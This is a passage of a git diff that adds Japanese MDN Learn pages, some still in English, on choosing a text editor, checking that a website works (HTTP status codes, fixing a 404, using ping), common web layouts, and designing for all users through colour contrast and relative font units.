href="https://eclipse.org/" rel="external">Eclipse</a></li> + <li><a href="http://komodoide.com/" rel="external">Komodo IDE</a></li> + <li><a href="https://netbeans.org/" rel="external">NetBeans IDE</a></li> + <li><a href="http://www.visualstudio.com/" rel="external">Visual Studio</a></li> + <li><a href="https://www.jetbrains.com/webstorm/" rel="external">WebStorm</a></li> +</ul> + +<h4 id="テキストエディタを使用している間、サポートやヘルプが必要か？">テキストエディタを使用している間、サポートやヘルプが必要か？</h4> + +<p>一般にソフトウエアを使うときには、ヘルプがあるかないかを知っておくことは重要です。テキストエディタの場合は、以下の二種類のサポートがあるか調べておくといいです。</p> + +<ol> + <li>ユーザー向けのコンテンツ（FAQ、マニュアル、オンラインヘルプなど）</li> + <li>開発者や他のユーザーとのディスカッション（フォーラム、メール、チャットなど）</li> +</ol> + +<p>使いかたを学ぶには、1．のコンテンツを読むのが有効です。インストールや使用上の問題を解決するには、他のユーザーの助けが役に立ちます。</p> + +<h4 id="テキストエディタの使い勝手は重要か？">テキストエディタの使い勝手は重要か？</h4> + +<p>たしかに、好みの問題かもしれません。いっぽうでは、表示色やボタンの位置など、UI（ユーザーインターフェース）のそこかしこをカスタマイズしたがる人もいます。変更可能な範囲はエディタごとに異なるので、導入前に調べておきましょう。色遣いを変えられるエディタは多くあります。しかし、カスタマイズしたいことがあまり多いようなら、統合開発環境を選んだ方が賢明です。</p> + +<h3 id="インストールとセットアップ">インストールとセットアップ</h3> + +<p>テキストエディタのインストールは、非常に分かりやすいのが普通です。その方法はプラットフォーム（OS）によって変わりますが、それほど難しいものではありません。:</p> + +<ul> + <li><strong>Windows： </strong>インストールファイルは通常、<code>.exe</code> や <code>.msi</code> の実行可能ファイルとして提供されます。また、圧縮ファイル（<code>.zip</code>、<code>.7z</code>、<code>.rar</code>など）として提供されることもあります。その場合は、解凍するソフトウエアが別途必要になりますが、<code>.zip</code> ファイルの解凍ソフトはWindowsに標準で付属してきます。</li> + <li><strong>Mac： </strong>エディタのWebサイトから、<code>.dmg</code> ファイルをダウンロードします。Apple Storeから簡単にインストールできるエディタもあります。 </li> + <li><strong>Linux： </strong>主要なディストリビューションについては、グラフィカルインターフェースのあるパッケージマネージャー（Ubuntu ソフトウエアセンター、mintInstall、GNOME Software、 &cなど）からインストールできます。また、 パケージ済みの<code>.deb</code> や<code>.rpm</code> ファイルとして入手できることもできます。リポジトリサーバーからインストールすることも多いし、最悪の場合ソースコードを自分でコンパイルしなければならないこともあります。テキストエディタのWebサイトにあるインストール手順の説明を、じっくり調べることをお勧めします。</li> +</ul> + +<p>新しいエディタをインストールしても、OSは既定エディタを変更しない限り、OSは前のエディタを使ってテキストファイルを開こうとします。ファイルをダブルクリックしたときに使う規定エディタを変更するには、以下のリンクにある説明を参照してください。</p> + +<ul> + <li>Windows + <ul> + <li><a href="http://windows.microsoft.com/en-us/windows-8/choose-programs-windows-uses-default" rel="external">Windows 8</a></li> + <li><a href="http://windows.microsoft.com/en-us/windows/change-default-programs#1TC=windows-7" rel="external">Windows 7</a></li> + <li><a href="http://pcsupport.about.com/od/fixtheproblem/f/chdefprogram.htm">older systems</a></li> + </ul> + </li> + <li><a href="http://osxdaily.com/2013/08/08/change-default-application-open-files-mac-os-x/" rel="external">Mac OS X</a></li> + <li>Linux + <ul> + <li><a href="http://askubuntu.com/questions/289337/how-can-i-change-file-association-globally" rel="external">Ubuntu Unity</a></li> + <li><a href="https://help.gnome.org/users/gnome-help/stable/files-open.html.en" rel="external">GNOME</a></li> + <li><a href="http://doc.opensuse.org/documentation/html/openSUSE_113/opensuse-kdeuser/cha.kde.cust.html#pro.kde.cust.system.fileass">KDE</a></li> + </ul> + </li> +</ul> + +<h2 id="次のステップ">次のステップ</h2> + +<p>良いテキストエディタが見つかったら、<a href="/ja/docs/Learn/Common_questions/set_up_a_local_testing_server">基本的な作業環境</a>（テストサーバー）の構築に着手しましょう。あるいは、<a href="/ja/docs/Learn/Getting_started_with_the_web">最初のWebページ</a>を書いてみるのもいいでしょう。。</p> diff --git a/files/ja/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html b/files/ja/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html new file mode 100644 index 0000000000..4c3499402f --- /dev/null +++ b/files/ja/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html @@ -0,0 +1,172 @@ +--- +title: Web サイトが正しく機能することをどうやって確認しますか？ +slug: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +tags: + - ガイド + - トラブルシューティング + - ドキュメント + - 初心者 +translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +--- +<div class="summary"> +<p>この記事では、Webサイトのさまざまなトラブルシューティングの手順と、これらの問題を解決するための基本的な操作について説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">Web サーバにファイルをアップロードする</a>方法を知る必要があります。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>自身の Web サイトで実行できるいくつかの基本的な問題を診断して解決する方法を学びます。</td> + </tr> + </tbody> +</table> + +<p id="Summary">自身の Web サイトをオンラインで公開しましたか？ 素晴らしい！ ただ、それは適切に動作しているでしょうか？</p> + +<p>別の場所にある Web サーバ は、ローカル Web サーバとはまったく異なった動作をすることが多いため、オンラインになったら Web サイトをテストすることをお勧めします。画像が表示されない、ページが読み込まれない、または読み込みが遅くなるなど、多くの問題が発生するのに驚くかもしれません。ほとんどの場合、大したことではなく、簡単な間違いや Web ホスティング設定の問題です。</p> + +<p>これらの問題を診断して解決する方法を見てみましょう。</p> + +<h2 id="アクティブラーニング">アクティブラーニング</h2> + +<p><em>アクティブラーニングはまだありません。 <a href="/en-US/docs/MDN/Getting_started">貢献をご検討ください</a>。</em></p> + +<h2 id="より深く掘り下げる">より深く掘り下げる</h2> + +<h3 id="ブラウザでテストする">ブラウザでテストする</h3> + +<p>Web サイトが正しく機能しているかどうかを知りたければ、まずブラウザを起動し、テストしたいページに移動します。</p> + +<h4 id="ええと、そのイメージはどこですか？">ええと、そのイメージはどこですか？</h4> + +<p>個人的な Web サイト <code>http://demozilla.examplehostingprovider.net/</code> を見てみましょう。予想していた画像ではありません。</p> + +<p><img alt="Oops, the ‘unicorn’ image is missing" src="https://mdn.mozillademos.org/files/9643/image-missing.png" style="height: 189px; width: 380px;"></p> + +<p>Firefox のネットワークツール (<strong>ツール</strong> ➤ <strong>Web 開発者</strong> ➤ <strong>ネットワーク</strong>) を開き、ページをリロードします。</p> + +<p><img alt="The image has a 404 error" src="https://mdn.mozillademos.org/files/9645/error404.png" style="height: 304px; width: 562px;"></p> + +<p>一番下に「404」という問題があります。「404」は「リソースが見つかりません」という意味です。そのため、画像が表示されませんでした。</p> + +<h4 id="HTTP_ステータス">HTTP ステータス</h4> + +<p>サーバは、リクエストを受信するたびにステータスメッセージで応答します。最も一般的なステータスは次のとおりです。</p> + +<dl> + <dt><strong><span id="cke_bm_110S" style="display: none;"> </span>200: OK</strong></dt> + <dd>求めているリソースが配信されました。</dd> + <dt><strong>301: Moved permanently</strong></dt> + <dd>リソースは新しい場所に移動しました。あなたのブラウザでこれをあまり見ないでしょう、しかし検索エンジンがインデックスを更新するのにこの情報をたくさん使うので "301" について知るのは良いことです。</dd> + <dt><strong>304: Not modified</strong></dt> + <dd>最後にファイルをリクエストしてからファイルが変更されていないため、ブラウザはキャッシュからバージョンを表示できるので、応答時間が短縮され、帯域幅がより効率的に使用されます。</dd> + <dt><strong>403: Forbidden</strong></dt> + <dd>そのリソースを表示することを許可されていません。通常それは設定ミス (例えばあなたのホスティングプロバイダがディレクトリへのアクセス権を与えるのを忘れた) と関係があります。</dd> + <dt><strong>404: Not found</strong></dt> + <dd>一目瞭然です。これを解決する方法を以下で説明します。</dd> + <dt><strong>500: Internal server error</strong></dt> + <dd>サーバで何か問題が発生しました。たとえば、サーバサイドの言語 ({{Glossary("PHP")}}、.Net など) が機能しなくなった、または Web サーバ自体に構成上の問題がある可能性があります。通常、ホスティングプロバイダのサポートチームに頼るのが最善です。</dd> + <dt><strong>503: Service unavailable</strong></dt> + <dd>通常、短期間のシステム過負荷が原因です。サーバに何らかの問題があります。しばらくしてからもう一度試してください。</dd> +</dl> + +<p>初心者が私たちの (単純な) Web サイトをチェックするとき、私たちは200、304、403、そして404を最もよく扱うでしょう。</p> + +<h4 id="404_を修正する">404 を修正する</h4> + +<p>では何が悪かったのでしょうか？</p> + +<p><img alt="Le list of images in our project" src="https://mdn.mozillademos.org/files/9649/demozilla-images-list.png" style="height: 71px; width: 407px;"></p> + +<p>一見したところ、私たちが求める画像は正しい場所にあるようです...しかしネットワークツールは「404」を報告しました。 <span class="tlid-translation translation" lang="ja"><span title="">HTML コードに </span></span><code>unicorn_pic.png</code><span class="tlid-translation translation" lang="ja"><span title=""> ではなく </span></span><code>unicorn_pics.png</code><span class="tlid-translation translation" lang="ja"><span title=""> という入力ミスをしたことがわかりました。</span></span>画像の <code>src</code> 属性を変更して、コードエディタのタイプミスを修正します。</p> + +<p><img alt="Deleting the ‘s’" src="https://mdn.mozillademos.org/files/9651/code-correct.png" style="height: 125px; width: 775px;"></p> + +<p>保存して<a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">サーバにプッシュし</a>、ブラウザでページをリロードします。</p> + +<p><img alt="The image loads corectly in the browser" src="https://mdn.mozillademos.org/files/9655/image-corrected.png" style="height: 554px; width: 565px;"></p> + +<p>そこに行きます！{{Glossary("HTTP")}} ステータスをもう一度見てみましょう：</p> + +<ul> + <li><code>/</code> と <code>unicorn_pic.png</code> が <strong>200</strong> の場合は、ページと画像の再読み込みに成功したことを意味します。</li> + <li><code>basic.css</code> の <strong>304</strong> は、このファイルが最後のリクエスト以降変更されていないことを意味します。したがって、ブラウザは新しいコピーを受信するのではなく、キャッシュ内のファイルを使用できます。</li> +</ul> + +<p>さて、エラーを修正し、途中でいくつかの HTTP ステータスを学習しました。</p> + +<h3 id="よくあるエラー">よくあるエラー</h3> + +<p>最もよく見かけるエラーはこれらです：</p> + +<h4 id="アドレスのタイプミス">アドレスのタイプミス</h4> + +<p><code>http://demozilla.examplehostingprovider.net/</code> と入力したいのですが、入力が速すぎて「l」を忘れていました。</p> + +<p><img alt="Address unreachable" src="https://mdn.mozillademos.org/files/9657/cannot-find-server.png" style="height: 425px; width: 908px;"></p> + +<p>アドレスが見つかりません。確かに。</p> + +<h4 id="404_エラー">404 エラー</h4> + +<p>多くの場合、エラーは単にタイプミスが原因ですが、リソースのアップロードを忘れたか、アップロード中にネットワーク接続が切断された可能性もあります。まずファイルパスの綴りと正確さを確認し、それでも問題が解決しない場合は、ファイルをもう一度アップロードしてください。おそらく問題は解決するでしょう。</p> + +<h4 id="JavaScript_エラー">JavaScript エラー</h4> + +<p>誰か (おそらくあなた) がそのページにスクリプトを追加する中で間違えました。これでページの読み込みが妨げられることはありませんが、問題が発生したと感じるでしょう。</p> + +<p>コンソールを開き (<strong>ツール</strong> ➤ <strong>Web 開発者</strong> ➤ <strong>Web コンソール</strong>)、ページをリロードします。</p> + +<p><img alt="A Javascript error is shown in the Console" src="https://mdn.mozillademos.org/files/9659/js-error.png" style="height: 511px; width: 523px;"></p> + +<p>この例では、エラーが何かを (非常に明確に) 学び、それを修正することができます (<a href="/ja/docs/Learn/JavaScript">別の一連</a>の記事で JavaScript について説明します)。</p> + +<h3 id="その他の事項を確認する">その他の事項を確認する</h3> + +<p>Web サイトが正しく機能していることを確認する簡単な方法、および発生する可能性がある最も一般的なエラーとそれらの修正方法を示しました。ページがこれらの基準を満たしているかどうかをテストすることもできます。</p> + +<h4 id="パフォーマンスはどうですか？">パフォーマンスはどうですか？</h4> + +<p>ページの読み込みは十分速いですか？ <a href="http://www.webpagetest.org/">WebPagetest.org</a> のようなリソースや <a href="https://addons.mozilla.org/en-US/firefox/addon/yslow/">YSlow</a> のようなブラウザアドオンをしようすることで、いくつか興味深いことが分かります。</p> + +<p><img alt="Yslow diagnostics" src="https://mdn.mozillademos.org/files/9661/yslow-diagnostics.png" style="height: 766px; width: 637px;"></p> + +<p>グレードは A から F までです。私たちのページはごくわずかで、ほとんどの基準を満たしています。しかし、{{Glossary("CDN")}} を使った方が良いでしょう。1つの画像だけを配信する場合はそれほど重要ではありませんが、広帯域幅の Web サイトで何千もの画像を配信する場合は重要になります。</p> + +<h4 id="サーバーは十分に応答しますか？">サーバーは十分に応答しますか？</h4> + +<p><code>ping</code> は指定したドメイン名をテストし、サーバが応答しているかどうかを知らせる便利なシェルツールです。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">$ ping mozilla.org +PING mozilla.org (63.245.215.20): 56 data bytes +64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms +64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms +64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms +64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms +^C +--- mozilla.org ping statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms</code></pre> + +<p>便利なキーボードショートカット、すなわち <strong>Ctrl+C</strong> を覚えておいてください。Ctrl+C はランタイムに「割り込み」信号を送り、停止するように伝えます。ランタイムを停止しないと、<code>ping</code> は サーバに無期限に ping を実行します。</p> + +<h3 id="簡単なチェックリスト">簡単なチェックリスト</h3> + +<ul> + <li>404 をチェックします</li> + <li>すべての Web ページが期待通りに動作していることを確認します</li> + <li>それが一貫してレンダリングすることを確認するためにいくつかのブラウザで Web サイトをチェックしてください</li> +</ul> + +<h2 id="次のステップ">次のステップ</h2> + +<p>おめでとうございます、Web サイトは誰もが訪れることができるようになっています。それは大きな成果です。これで、さまざまなテーマに深く掘り下げていくことができます。</p> + +<ul> + <li>人々は世界中からあなたの Web サイトに来ることができるので、あなたはそれを<a href="/ja/docs/Learn/Common_questions/What_is_accessibility">誰にでもアクセス可能</a>にすることを考慮すべきです。</li> + <li>Web サイトのデザインは少し荒すぎますか？ <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">CSS についてもっと学ぶ</a>時が来ました。</li> +</ul> diff --git a/files/ja/learn/common_questions/common_web_layouts/index.html b/files/ja/learn/common_questions/common_web_layouts/index.html new file mode 100644 index 0000000000..88fc618791 --- /dev/null +++ b/files/ja/learn/common_questions/common_web_layouts/index.html @@ -0,0 +1,108 @@ +--- +title: 一般的な Web レイアウトには何が含まれていますか？ +slug: Learn/Common_questions/Common_web_layouts +translation_of: Learn/Common_questions/Common_web_layouts +--- +<div>{{IncludeSubnav("/en-US/Learn")}}</div> + +<div class="summary"> +<p>When designing pages for your website, it's good to have an idea of the most common layouts.</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>Make sure you've already thought about <a href="/en-US/Learn/Thinking_before_coding">what you want to accomplish</a> with your web project.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>Learn where to put things on your webpages, and how to put them there.</td> + </tr> + </tbody> +</table> + +<h2 id="Summary">Summary</h2> + +<p>There's a reason we talk about web design. You start out with a blank page, and you can take it so many directions. And if you don't have much experience, starting out with a blank page might be a bit scary. We have over 25 years' experience and we'll give you some common rules of thumb to help you design your site.</p> + +<p>Even now with the new focus on mobile Web, almost all mainstream webpages are built from these parts:</p> + +<dl> + <dt>Header</dt> + <dd>Visible at the top of every page on the site. Contains information relevant to all pages (like site name or logo) and an easy-to-use navigation system.</dd> + <dt>Main content</dt> + <dd>The biggest region, containing content unique to the current page.</dd> + <dt>Stuff on the side</dt> + <dd>1) Information complementing the main content; 2) information shared among a subset of pages; 3) alternative navigation system. In fact, everything not absolutely required by the page's main content.</dd> + <dt>Footer</dt> + <dd>Visible at the bottom of every page on the site. Like the header, contains less prominent global information like legal notices or contact info.</dd> +</dl> + +<p>These elements are quite common in all form factors, but they can be laid out different ways. Here are some examples (<strong>1 </strong>represents header, <strong>2 </strong>footer; <strong>A </strong>main content; <strong>B1, B2 </strong>things on the side):</p> + +<p><strong>1-column layout.</strong> Especially important for mobile browsers so you don't clutter the small screen up.</p> + +<p><img alt="Example of a 1 column layout: Main on top and asides stacked beneath it." src="https://mdn.mozillademos.org/files/9501/1-col-layout.png" style="height: 100px; width: 160px;"></p> + +<p><strong>2-column layout.</strong> Often used to target tablets, since they have medium-size screens.</p> + +<p> <img alt="Example of a basic 2 column layout: One aside on the left column, and main on the right column." src="https://mdn.mozillademos.org/files/9499/2-col-layout-right.png" style="height: 100px; width: 160px;"> <img alt="Example of a basic 2 column layout: One aside on the right column, and main on the left column." src="https://mdn.mozillademos.org/files/9497/2-col-layout-left.png" style="height: 100px; width: 160px;"></p> + +<p><strong>3-column layouts</strong>. Only suitable for desktops with big screens. (Even many desktop-users prefer viewing things in small windows rather than full-screen.)</p> + +<p><img alt="Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column." src="https://mdn.mozillademos.org/files/9491/3-col-layout.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the left, Main on the right column." src="https://mdn.mozillademos.org/files/9493/3-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the right, Main on the left column." src="https://mdn.mozillademos.org/files/9495/3-col-layout-alt2.png" style="height: 100px; width: 160px;"></p> + +<p>The real fun begins when you start mixing them all together:</p> + +<p><img alt="Example of mixed layout: Main on top and asides beneath it side by side." src="https://mdn.mozillademos.org/files/9503/1-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column" src="https://mdn.mozillademos.org/files/9505/2-col-layout-left-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main." src="https://mdn.mozillademos.org/files/9507/2-col-layout-mix.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row." src="https://mdn.mozillademos.org/files/9509/2-col-layout-mix-alt.png" style="height: 100px; width: 160px;">…</p> + +<p>These are just examples and you're quite free to lay things out as you want. You may notice that, while the content can move around on the screen, we always keep the header (1) on top and the footer (2) at the bottom. Also, the main content (A) matters most, so give it most of the space.</p> + +<p>These are rules of thumb you can draw on. There are complex designs and exceptions, of course. In other articles we'll discuss how to design responsive sites (sites that change depending on the screen size) and sites whose layouts vary between pages. For now, it's best to keep your layout consistent throughout your site.</p> + +<h2 id="Active_learning">Active learning</h2> + +<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="Deeper_dive">Deeper dive</h2> + +<p>Let's study some more concrete examples taken from well-known websites.</p> + +<h3 id="One-column_layout">One-column layout</h3> + +<p><strong><a href="http://www.invisionapp.com/" rel="external">Invision application</a></strong>. A typical one-column layout providing all the information linearly on one page.</p> + +<p><img alt="Example of a 1 column layout in the wild" src="https://mdn.mozillademos.org/files/9523/screenshot-product.jpg" style="height: 643px; width: 200px;"> <img alt="1 column layout with header, main content, a stack of aside contents and a footer" src="https://mdn.mozillademos.org/files/9525/screenshot-product-overlay.jpg" style="height: 643px; width: 200px;"></p> + +<p>Quite straightforward. Just remember, many people will still browse your site from desktops, so make your content usable/readable there as well.</p> + +<h3 id="Two-column_layout.">Two-column layout.</h3> + +<p><strong><a href="http://abduzeedo.com/typography-mania-261" rel="external">Abduzeedo</a></strong>, a simple blog layout. Blogs usually have two columns, a fat one for the main content and a thin one for stuff on the side (like widgets, secondary navigation levels, and ads).</p> + +<p><img alt="Example of a 2 column layout for a blog" src="https://mdn.mozillademos.org/files/9527/screenshot-blog.jpg" style="height: 643px; width: 200px;"> <img alt="A 2 column layout with the main content on the left column" src="https://mdn.mozillademos.org/files/9529/screenshot-blog-overlay.jpg" style="height: 643px; width: 200px;"></p> + +<p>In this example, look at the image (B1) right underneath the header. It's related to the main content, but the main content makes sense without it, so you could think of the image either as main content or as side content. It doesn't really matter. What does matter is, if you put something right under the header, it should either be main content or <em>directly related </em>to the main content.</p> + +<h3 id="It's_a_trap">It's a trap</h3> + +<p><strong><a href="http://www.mica.edu/About_MICA.html" rel="external">MICA</a></strong>. This is a bit trickier. It looks like a three-column layout...</p> + +<p><img alt="Example of a false 3 columns layout" src="https://mdn.mozillademos.org/files/9531/screenshot-education.jpg" style="height: 267px; width: 200px;"> <img alt="It looks like a 3 columns layout but actually, the aside content is floating around." src="https://mdn.mozillademos.org/files/9533/screenshot-education-overlay.jpg" style="height: 267px; width: 200px;"></p> + +<p>...but it's not. B1 and B2 float around the main content. Remember that word "float"--it will ring a bell when you start learning about {{Glossary("CSS")}}.</p> + +<p>Why would you think it's a three-column layout? Because the image on the top-right is L-shaped, because B1 looks like a column supporting the shifted main content, and because the "M" and "I" of the MICA logo create a vertical line of force.</p> + +<p>This is a good example of a classic layout supporting some design creativity. Simple layouts are easier to implement, but allow yourself room to express your creativity in this area.</p> + +<h3 id="A_much_trickier_layout">A much trickier layout</h3> + +<p><strong>The <a href="https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini" rel="external">Opera de Paris</a>.</strong></p> + +<p><img alt="An example of a tricky layout." src="https://mdn.mozillademos.org/files/9535/screenshot-opera.jpg" style="height: 424px; width: 200px;"> <img alt="This is a 2 column layout but the header is overlaping the main content." src="https://mdn.mozillademos.org/files/9537/screenshot-opera-overlay.jpg" style="height: 424px; width: 200px;"></p> + +<p>Basically a two-column layout, but you'll notice many tweaks here and there that visually break up the layout. Especially, the header overlaps the image of the main content. The way the curve of the header's menu ties in with the curve at the bottom of the image, the header and main content look like one thing even though they're technically completely different. The Opera example looks more complex than the MICA example, but it's actually easier to implement (all right, "easy" <em>is </em>a relative concept).</p> + +<p>As you see, you can craft stunning websites even with just basic layouts. Have a look at your own favorite websites and ask yourself, where's the header, the footer, the main content, and the side content? That will inspire you for your own design and give you good hints for which designs work and which ones don't.</p> diff --git a/files/ja/learn/common_questions/design_for_all_types_of_users/index.html b/files/ja/learn/common_questions/design_for_all_types_of_users/index.html new file mode 100644 index 0000000000..7c3da5fc1e --- /dev/null +++ b/files/ja/learn/common_questions/design_for_all_types_of_users/index.html @@ -0,0 +1,219 @@ +--- +title: どのようにすべてのタイプのユーザーを対象に設計できますか？ +slug: Learn/Common_questions/Design_for_all_types_of_users +translation_of: Learn/Common_questions/Design_for_all_types_of_users +--- +<div>{{IncludeSubnav("/ja/Learn")}}</div> + +<div class="summary"> +<p>この記事ではあらゆる種類のユーザーのための Web サイトを設計する基本的なヒントを紹介します。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提条件</th> + <td>あなたはすでに<a href="/en-US/Learn/What_is_accessibility">アクセシビリティとは何か？</a>を読んでいますか？,ここではアクセシビリティについて詳細にカバーしていませんので</td> + </tr> + <tr> + <th scope="row">目的</th> + <td>ユニバーサルデザインとは、障害や技術的制約にかかわらず、すべての人のためのデザインを意味します。 この記事では、ユニバーサルデザインの最も重要なクイックウィンを紹介します。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>ウェブサイトを構築する際に考えなければならない課題のトップの一つが<a href="https://en.wikipedia.org/wiki/Universal_design">ユニバーサルデザイン</a>です。障害、技術的な制約、文化、場所などに関わらず、すべてのユーザーが包含されるものです。</p> + +<h2 id="アクティブラーニング">アクティブラーニング</h2> + +<p><em>まだ、アクティブラーニングがありません。 <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深く掘っていく">深く掘っていく</h2> + +<h3 id="カラーコントラスト">カラーコントラスト</h3> + +<p>テキストの読みやすさを維持するためにバックグラウンドカラーと一緒にテキストカラーとのコントラストを良くしなければなりません。視覚的に障害をもつ人々や路上でスマートフォンを使っている人々などを助けるために余計にやさしくしなければなりません。</p> + +<p>{{Glossary("W3C")}}は前景と背景の間の明るさの比のアルゴリズムの計算をして良いカラーの混合を定義しました。計算はかなり複雑なように見えますが、私たち自身の仕事で信頼できるツールにできました。 </p> + +<p>Pacielloグループ<a href="http://www.paciellogroup.com/resources/contrastanalyser/">カラーコントラストアナライザー</a>をダウンロードしてインストールしてみましょう。</p> + +<div class="note"> +<p>注意: あなたはオンライン上でコントラストチェッカーを選択的にウェブ用の<a href="http://webaim.org/resources/contrastchecker/">カラーコントラストチェッカー</a>のようなものをいくつか見つけることができるでしょう。カラーの値を画面上で見つけ出すのでローカルのカラーチェッカーを私たちはお薦めします。</p> +</div> + +<p>例えば、どのようにカラーコントラストアナライザーを使えばいいのかこのページでカラーテストを行ってみましょう。</p> + +<p><img alt="Colour contrast on this page: excellent!" src="https://mdn.mozillademos.org/files/9671/colour-contrast.png" style="height: 575px; width: 799px;"></p> + +<p>テキストと背景明るさの比は 8.30:1 でそれは最小の標準を超えていて (4.5:1) 、視覚障害のある多くの人でもこのページを読めるようにすべきである。</p> + +<h3 id="フォントサイズ">フォントサイズ</h3> + +<p>ウェブサイトにおけるフォントサイズの相関位置と絶対位置のどちらも指定することができます。</p> + +<h4 id="絶対単位">絶対単位</h4> + +<p>絶対単位は比例を計算しません。しかし、サイズをストーンに設定して参照します。そうなので、話すために、そして、ピクセルで示すことが最も多いです。例えばCSSはこのように宣言されています。 </p> + +<pre>body { font-size:16px; }</pre> + +<p>… あなたがブラウザに言うと何かが起こるかもしれません。フォントサイズは16ピクセルにしなければなりません。モダンブラウザでは100%ズームと要素を設定した時にあなたが要求した16ピクセルのふりをすることによってこのルールを得ているかもしれません。</p> + +<p>もう何年間もインターネットエクスプローラーはインターネットエクスプローラー8になるあたりまで断固として16ピクセルは16ピクセルとして表示をしてきました。この場合では拡大することはなく、そしてそれはまだ周りにあることによってそのようにふるまわねばなりません。 </p> + +<h4 id="相関単位">相関単位</h4> + +<p><em>比例単位</em>と呼ばれているものも、相関単位は親要素に関連して計算されます。相関単位はアクセシビリティに親しみのあるもので、なぜならそれらは、ユーザーシステム上に設定され尊重されるものだからです。 </p> + +<p>相関単位は <code>em</code> 、<code>%</code> や <code>rem</code>:で表現されます。</p> + +<dl> + <dt>Percent-based sizes: <code>%</code></dt> + <dd>Thisこの単位は以前の要素で表現されたフォントサイズN%で示すように指示します。 もし、親がない場合、デフォルトのフォントサイズ計算による基本的なサイズがブラウザで考えられます。 (たいてい16ピクセルに同等になります。)</dd> + <dt>Em-based sizes: <code>em</code></dt> + <dd>This unit is calculated the same way as percents, except that you compute in portions of 1 and not portions of 100. It is said that "em" is the width of a capital “M” in the alphabet (roughly speaking, an “M” fits into a square).</dd> + <dt>Rem-based sizes: <code>rem</code></dt> + <dd>This unit is proportional to the root element's font size and is expressed as portions of 1, like <code>em</code>.</dd> +</dl> + +<p>Suppose we wanted a base font size of 16px and an h1 (main heading) at the equivalent of 32px, yet if within the h1 we find a <code>span</code> with the <code>subheading</code> class, it too must be rendered at the default font size (usually 16px).</p> + +<p>Here is the HTML we're using:</p> + +<pre><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <title>Font size experiment</title> +</head> +<body> + + <h1>This is our main heading + <span class="subheading">This is our subheading</span> + </h1> + +</body> +</html></pre> + +<p>A percent-based CSS will look like this:</p> + +<pre>body { font-size:100%; } /* 100% of the browser's base font size, so in most cases this will render as 16 pixels */ +h1 { font-size:200%; } /* twice the size of the body, thus 32 pixels */ +span.subheading { font-size:50%; } /* half the size of the h1, thus 16 pixels to come back to the original size */ +</pre> + +<p>The same problem expressed with ems:</p> + +<pre>body { font-size:1em; } /* 1em = 100% of the browser's base font size, so in most cases this will render as 16 pixels */ +h1 { font-size:2em; } /* twice the size of the body, thus 32 pixels */ +span.subheading { font-size:0.5em; } /* half the size of the h1, thus 16 pixels to come back to the original size */</pre> + +<p>As you can see, the math quickly gets daunting when you have to keep track of the parent, the parent's parent, the parent's parent's parent, and so on. (Most designs are done in pixel-based software, so the math has to be done by the person coding the CSS).</p> + +<p>Enter <code>rem</code>. This unit is relative to the root element's size and not to any other parent. The CSS can be rewritten thus:</p> + +<pre>body { font-size:1em; } /* 1em = 100% of the browser's base font size, so in most cases this will render as 16 pixels */ +h1 { font-size:2rem; } /* twice the size of the body, thus 32 pixels */ +span.subheading { font-size:1rem; } /* original size */</pre> + +<p>Easier, isn't it? This works as of <a href="http://caniuse.com/#search=rem">Internet Explorer 9 and in every other current browser</a>, so please feel free to use this unit.</p> + +<div class="note"> +<p><strong>Note:</strong> You may notice Opera Mini does not support font sizing in rem. It will end up setting its own font size, so don't bother feeding it font units.</p> +</div> + +<h4 id="Why_would_I_want_to_use_proportional_units">Why would I want to use proportional units?</h4> + +<p>Because you don't know when a browser is going to come around and refuse to zoom up text whose size is expressed in pixels. Also, check your website's statistics: you may receive visits from older browsers.</p> + +<p>We would advise the following:</p> + +<ul> + <li>Describe fonts in <code>rem</code> units, most browsers will be very happy with them;</li> + <li>Let older browsers display fonts with their own internal engine. Browser's engines will ignore any property or value in the CSS if they can't cope with them, so that your website is still usable if not true to your designer's vision. Older browsers are on the way out anyway.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> Your mileage may vary. If you have to cater to older browsers, you'll have to use <code>em</code>s and do a bit more math.</p> +</div> + +<h3 id="Line_width">Line width</h3> + +<p>There is a longstanding debate about line length on the web, but here's the story. Back when we had newspapers, printers realized that the reader's eyes would have trouble going from one line to the next if the lines were too long. The solution? Columns.</p> + +<p>Of course the problem doesn't go away when we switch to the Web. The reader's eyes act like a shuttle going from line to line. To make it easier on people's eyes, limit line width to around 60 or 70 characters.</p> + +<p>To achieve 